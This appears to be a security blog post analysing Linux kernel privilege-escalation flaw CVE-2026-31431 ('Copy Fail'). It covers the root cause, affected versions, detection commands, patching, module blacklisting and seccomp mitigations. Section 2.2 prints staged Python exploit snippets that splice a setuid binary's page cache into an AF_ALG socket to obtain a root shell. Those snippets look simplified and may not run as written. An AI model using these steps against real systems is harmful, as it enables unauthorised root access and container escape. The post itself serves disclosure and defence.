Table of Contents
1308 words
7 minutes
Deep Dive into Linux Kernel High-Severity Vulnerability CVE-2026-31431 (Copy Fail)

1. Vulnerability Overview#

On April 22, 2026, the Linux kernel disclosed a high-severity local privilege escalation vulnerability, CVE-2026-31431, codenamed Copy Fail, which had been latent for 9 years. An attacker only needs a 732-byte Python script to escalate from a low-privilege user to root on almost all mainstream Linux distributions.

The vulnerability was cataloged by CNCERT (National Internet Emergency Center) as CNVD-2026-19044, CNTA-2026-0002, with a CVSS 3.1 score of 7.8 (High). More concerning, exploit code has been made public, and Antiy has detected in-the-wild exploitation.

1.1 Comparison with Historical Vulnerabilities#

VulnerabilityYearCVSSRequires Race ConditionExploitation Difficulty
Dirty COW (CVE-2016-5195)20167.8YesMedium
Dirty Pipe (CVE-2022-0847)20227.8YesMedium
Copy Fail (CVE-2026-31431)20267.8NoExtremely Low

1.2 Event Timeline#

DateEvent
2017Kernel commit 72548b093ee3 introduces the algif_aead in-place optimization
April 22, 2026Vulnerability disclosed, PoC and Exp released simultaneously
April 29, 2026Openwall mailing list discloses details
April 30, 2026CNCERT publishes security advisory CNTA-2026-0002
April 30, 2026QiAnXin CERT publishes security risk advisory

2. Technical Deep Dive#

2.1 Root Cause#

The Copy Fail exploit chain involves a combination of three key kernel components:

AF_ALG crypto interface + splice() system call + algif_aead in-place optimization
↓ ↓ ↓
Userspace invokes Brings file page cache Allows reuse of
kernel crypto references into the memory pages during
capabilities crypto processing chain encryption processing

2.2 Attack Chain#

The entire attack process is divided into four stages:

Stage 1: Create an AF_ALG socket and bind authencesn#

import socket
#Create an AF_ALG socket and bind an authenticated encryption algorithm
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(('authencesn', b'hmac(sha256),cbc(aes)'))

Stage 2: Bring the page cache of a setuid program into the cryptographic path via splice()#

import os
#Open a setuid program (such as /usr/bin/su)
fd = os.open('/usr/bin/su', os.O_RDONLY)
#Build a splice pipe to trigger a page cache reference
pipe_r, pipe_w = os.pipe()
os.splice(fd, 0, pipe_w, 0, 4096)
os.close(fd)

Stage 3: Use the algif_aead in-place optimization to write controlled 4 bytes#

#Send malicious data, exploiting the in-place optimization to overwrite the page cache
#Turn what should be a "read-only" page cache into "writable"
s.sendmsg([b'A' * 4096], [(pipe_r, 0, 4096)])

Stage 4: Execute the tampered setuid program to obtain root#

#Execute su; what is read now is the malicious code in the page cache
os.execve('/usr/bin/su', [], {})
#Gain a root shell directly

2.3 Why “No Race Condition Required”#

Previous Similar VulnerabilitiesCopy Fail
Depends on memory operation timing windowsLogically direct read/write flaw
Requires multiple attempts to improve success rateSucceeds in one attempt, 100% success rate
Affected by system loadFully deterministic exploitation

2.4 Technical Essence of the Vulnerability#

Under normal flow, file data in the page cache should be read-only. However, the algif_aead in-place optimization bypasses this constraint: it allows a reference to a read-only page cache to be placed into a scatterlist, and the scatterlist is written back after the cryptographic operation. As a result, an attacker can write arbitrary 4 bytes into the page cache belonging to setuid programs such as /usr/bin/su, achieving code tampering.

It is worth noting: the vulnerability only modifies the in-memory page cache, not directly writing to disk. After a reboot or cache reclamation, the tampered content is automatically restored, but this does not affect exploitation—because the process reads from the page cache during execution.


3. Scope of Impact#

3.1 Affected Kernel Versions#

commit 72548b093ee3 ≤ version < commit a664bf3d603d

Kernels from 4.14 up to (but not including) 6.18.22, and below (but not including) 6.19.12 are all affected.

3.2 Affected Distributions#

DistributionAffected Versions
Ubuntu24.04 LTS and below
RHEL8 / 9 / 10 and below
SUSE16 and below
Amazon Linux2023 and below
Debian / Arch / Fedora / Rocky / Alma / OracleCorresponding kernel versions

3.3 Safe Versions#

Kernel Version LineSafe Version
6.18 LTS≥ 6.18.22
6.19 LTS≥ 6.19.12
7.0≥ 7.0

3.4 High-Risk Scenarios#

Although this vulnerability requires local low-privilege code execution capability before exploitation, the risk is significantly amplified in the following scenarios:

ScenarioRisk Description
Shared ServersMulti-tenant hosts, development machines, jump boxes—any user can escalate to root
Kubernetes / Container ClustersContainer escape: low-privilege users inside a container can tamper with the host’s page cache
CI/CD RunnersBuild environments such as GitHub Actions, GitLab Runner, Jenkins
Code SandboxesNotebooks, online judge platforms, AI Agent execution machines
Cloud ServersVPS environments with multi-tenant shared hosts

4. Self-Check Guide#

4.1 Check Kernel Version#

Terminal window
#Check the current kernel version
uname -r
#Check full kernel version information
cat /proc/version

4.2 Check Whether the algif_aead Module Is Loaded#

Terminal window
#Check whether the module is already loaded
lsmod | grep algif_aead
#Check whether the module is available (even if not loaded)
modinfo algif_aead 2>/dev/null && echo "Module available, risk present"

4.3 Check AF_ALG Socket Support#

Terminal window
#Check whether the kernel was compiled with AF_ALG support
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

4.4 One-Click Diagnostic Script#

#!/bin/bash
echo "=== CVE-2026-31431 Copy Fail troubleshooting script ==="
echo ""
KERNEL=$(uname -r)
echo "[*] Current kernel version: $KERNEL"
if lsmod | grep -q algif_aead; then
echo "[!] High risk: algif_aead module is loaded!"
else
echo "[*] algif_aead module is not loaded"
fi
if modinfo algif_aead &>/dev/null; then
echo "[!] High risk: algif_aead module is available (it can be triggered to load even if not loaded)"
else
echo "[*] algif_aead module is unavailable"
fi
echo "[*] Please manually check whether the kernel version is within the safe range"
echo " Safe versions: 6.18.22+ / 6.19.12+ / 7.0+"

5. Remediation and Handling Guide#

Terminal window
# Ubuntu / Debian
sudo apt update && sudo apt full-upgrade -y
sudo reboot
# RHEL / CentOS / Fedora
sudo dnf update kernel -y
sudo reboot
# SUSE / openSUSE
sudo zypper update kernel -y
sudo reboot
# Arch Linux
sudo pacman -S linux linux-lts
sudo reboot
#Confirm after reboot
uname -r

5.2 Temporary Mitigation: Disable the algif_aead Module#

Terminal window
#1. Permanently disable the module
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
#2. Immediately unload the loaded module
sudo rmmod algif_aead 2>/dev/null
#3. Confirm the module has been disabled
sudo modprobe algif_aead 2>&1 #Should show it is blocked by /bin/false

5.3 Container-Side Protection: Block AF_ALG Sockets#

Terminal window
#Block AF_ALG socket creation inside containers via a seccomp policy
#Add to the Docker run parameters
--security-opt seccomp=/path/to/custom-seccomp.json
#Custom seccomp rule example:
# { "names": ["socket"], "action": "ERRNO", "args": [
# { "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }
# ] }

5.4 Post-Incident Investigation: Clear the Page Cache and Check for Backdoors#

Terminal window
#1. Drop page caches (automatically restored after reboot; this step is unnecessary)
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
#2. Check for abnormal processes
ps auxf | grep -E "su|sudo|bash|sh"
#3. Check for backdoors in temporary directories
ls -la /tmp /var/tmp
#4. Check login logs
last -n 50
#5. Check setuid program hashes
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd

6. Security Lessons#

6.1 Why a Code Optimization Became a Security Vulnerability#

The root cause of Copy Fail is an in-place optimization introduced in 2017. The optimization itself had good intentions—reducing memory copies and improving encryption performance. But its design did not fully account for the security boundary of the page cache:

Design AssumptionActual Situation
Data in the scatterlist comes from a user buffersplice() can introduce page cache references
The target memory of the encryption operation can be safely written toThe page cache should not be writable by ordinary users
The in-place optimization saves one copyIt saves one copy but breaks read-only semantics

6.2 The Discovery Process: AI + Human Collaboration#

The discovery of this vulnerability combined human insight with AI tools:

  • Researcher Taeyang Lee first identified the attack surface of the AF_ALG encryption interface + splice()
  • Then used the AI-assisted auditing tool Xint Code to scan the crypto/ subsystem
  • It took only about 1 hour to locate this highest-severity vulnerability

This is a successful case of AI-assisted vulnerability discovery in the security field.

6.3 Defense in Depth#

┌─────────────────────────────────┐
│ 1. Upgrade the kernel version promptly (fundamental solution) │
├─────────────────────────────────┤
│ 2. Disable unnecessary kernel modules │
├─────────────────────────────────┤
│ 3. Container Security Context restrictions │
├─────────────────────────────────┤
│ 4. seccomp / AppArmor / SELinux │
├─────────────────────────────────┤
│ 5. File integrity monitoring (AIDE/Samhain) │
└─────────────────────────────────┘

7. Summary#

  1. CVE-2026-31431 is the most severe Linux local privilege escalation vulnerability since Dirty COW / Dirty Pipe
  2. The exploit requires no race condition, has a 100% success rate, and needs only a 732-byte Python script
  3. It affects almost all mainstream Linux distributions since 2017
  4. In container environments, it can achieve container escape, threatening cloud-native infrastructure
  5. Immediately upgrading the kernel to a secure version is the most thorough fix
  6. Temporary measures: install algif_aead /bin/false

References#

Deep Dive into Linux Kernel High-Severity Vulnerability CVE-2026-31431 (Copy Fail)
https://www.hehonglei.com/posts/linux-kernel-cve-2026-31431/
Author
HHLBlog
Published at
2026-04-30
License
CC BY-NC-SA 4.0